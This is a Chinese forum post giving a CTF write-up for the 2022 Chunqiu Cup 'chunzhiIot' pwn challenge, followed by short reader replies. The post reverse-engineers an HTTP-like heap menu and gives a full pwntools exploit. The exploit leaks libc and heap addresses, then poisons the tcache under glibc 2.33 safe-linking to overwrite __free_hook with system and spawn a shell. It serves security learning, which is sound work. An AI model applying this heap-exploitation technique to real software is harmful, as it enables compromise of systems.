HNHuangJingYU 发表于 2022-5-30 17:51

2022春秋杯-pwn-chunzhiIot

本帖最后由 HNHuangJingYU 于 2022-5-30 17:53 编辑

### 题目

2022年春秋杯:chunzhiIot

一道vmpwn题,和今年(2022年)的国赛一道题类似

### 保护

```less
$ checksec pwn
'/home/hnhuangjingyu/chunqiubei/chunzhiIot/pwn'
    Arch:   amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./libc.so
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release version 2.33.
```



现在好像基本都是保护全开,然后glibc2.31以上的题目了
### 分析

打开IDA发现识别不了函数,且函数的参数也很奇怪

![在这里插入图片描述](https://img-blog.csdnimg.cn/a97cbfaf97f043cbb17e26ddc8546be0.png)


经过几番捣鼓函数点进去识别后信息越来越少

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rRnGJvUm-1653903653277)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530162850994.png)\]](https://img-blog.csdnimg.cn/3f25eb6df2be44899b55b0b3590d13b8.png)


查阅资料了解`endbr64`这个指令得到如下解释:

```txt
endbr64 (and endbr32) are a part of Intel's Control-Flow Enforcement Technology (CET) (see also Intel Software Developer Manual, Volume 1, Chapter 18).

Intel CET offers hardware protection against Return-oriented Programming (ROP) and Jump/Call-oriented Programming (JOP/COP) attacks, which manipulate control flow in order to re-use existing code for malicious purposes.
```

`endbr64`(和`endbr32`) 是[英特尔*控制流强制技术*(CET)]的一部分。英特尔CET针对面向返回的编程(ROP)和面向跳转/调用的编程(JOP/COP)攻击提供硬件保护,这些攻击会操纵控制流,以便出于恶意目的重新使用现有代码

那么就需要手动的帮助IDA进行识别符号表,这里配合GDB动态调试即可看到函数符号,比如上面`sub_1170()`函数通过GDB调试发现就是`puts`函数,那么就将它重新命名(_puts)即可识别出,

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dmw0s7cF-1653903653277)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164046092.png)\]](https://img-blog.csdnimg.cn/e11c63730e3b42fab3042906b1daaf0f.png)


再次F5刷新即可识别出

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8UjNeaB-1653903653278)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164120264.png)\]](https://img-blog.csdnimg.cn/6d389cd3c5d74471b55b17c943dcdeea.png)


ok,回归主题,我手动还原的伪函数如下

main

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dMgujFY7-1653903653278)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164306855.png)\]](https://img-blog.csdnimg.cn/c5d8e1f1c51e4fd0b960b230a2869462.png)


kernel

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E905jYjO-1653903653279)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164332788.png)\]](https://img-blog.csdnimg.cn/7dd74e60e46f4cceafde4a5dd3f11bcd.png)


set_requst_mod

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gB2GvgfM-1653903653280)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164351568.png)\]](https://img-blog.csdnimg.cn/690ccfc85b86427c80f0f37c36c1f55f.png)


![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r21OyPcJ-1653903653280)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164358863.png)\]](https://img-blog.csdnimg.cn/1405fd7c43744bc39850b4d7e5c16974.png)


put_requst

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOPUO0Qd-1653903653281)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164446296.png)\]](https://img-blog.csdnimg.cn/671d41d8ff10482aaabeb3a81b4a4e51.png)


![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIcCoodC-1653903653282)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164523798.png)\]](https://img-blog.csdnimg.cn/a54b8ef1642f42fe848c78fd3d5c8993.png)


可以看到经典堆题菜单就出来了

add

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4OPKqwzp-1653903653282)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164555005.png)\]](https://img-blog.csdnimg.cn/db0a900e0d9b431491503a3b777b4fe6.png)


edit

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t87py8bc-1653903653283)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164606440.png)\]](https://img-blog.csdnimg.cn/1b86c81cff5c476c93f084fadd211ad5.png)


show

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NkYWxEG2-1653903653284)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164622245.png)\]](https://img-blog.csdnimg.cn/a9ef015a507f48a1962321c8cf20deeb.png)


dele

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e0vxaTrG-1653903653285)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164641445.png)\]](https://img-blog.csdnimg.cn/5ea7d7633e2d4c11bf3c2165d6242051.png)


### 思路

程序的实现了一个类似于http请求的功能,具体可以看我上面逆向出来的代码,逆向出来后发现堆题很简单,ok

按照程序的格式要求得到如下exp:

```python
def init():
    sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")

def add(id,size,content):
    if(isinstance(content,bytes)):
      sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+content)
    else:
      sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
    #1.请求类型 2.id 3.size 4.buf

def edit(id,content):
    sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)

def show(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))

def dele(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))
```

这里的小细节就是字符和字节的使用,具体看代码

因为题目是glibc2.33会有一个异或加\解密fd指针,利用手法和之前一样,不过在修改fd的时候需要手动的异或加密指针再写进去,因为计算异或加密值需要用到堆地址,所以先泄漏libc、heap

```python
################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
```

然后就是手动加密fd值了

```python
#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()
```

### 完整exp

```python
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn"

one =

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################

def init():
    sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")

def add(id,size,content):
    if(isinstance(content,bytes)):
      sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+c
ontent)
    else:
      sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
    #1.请求类型 2.id 3.size 4.buf

def edit(id,content):
    sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)

def show(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))

def dele(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))
   
################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()
```

HNHuangJingYU 发表于 2022-5-31 13:53

发现问题了“IDA识别不了函数和参数”是因为我的IDA(7.0)版本太低了,而gcc是高版本的,导致自动识别不出来,目测IDA7.5是没问题的

13578610140 发表于 2022-5-30 18:34

看不懂支持下吧

风满楼` 发表于 2022-5-30 18:45

看不懂,只能回复支持一下

gandhi98 发表于 2022-5-30 19:00

太强 资瓷 {:1_921:}

努力的小七 发表于 2022-5-30 20:56

这个帖子值得学习

韵味 发表于 2022-5-30 21:10


这个帖子值得学习

ysy2001 发表于 2022-5-31 06:50

看不懂,支持下。

wuyongkui 发表于 2022-5-31 08:33

嘿嘿,看不懂啊,支持一下

kobeLau 发表于 2022-5-31 09:07

看不懂支持下吧

彩色沙漠 发表于 2022-5-31 09:47

最后由py搞定,确实不错。这春秋杯多久一次
页: [1] 2
查看完整版本: 2022春秋杯-pwn-chunzhiIot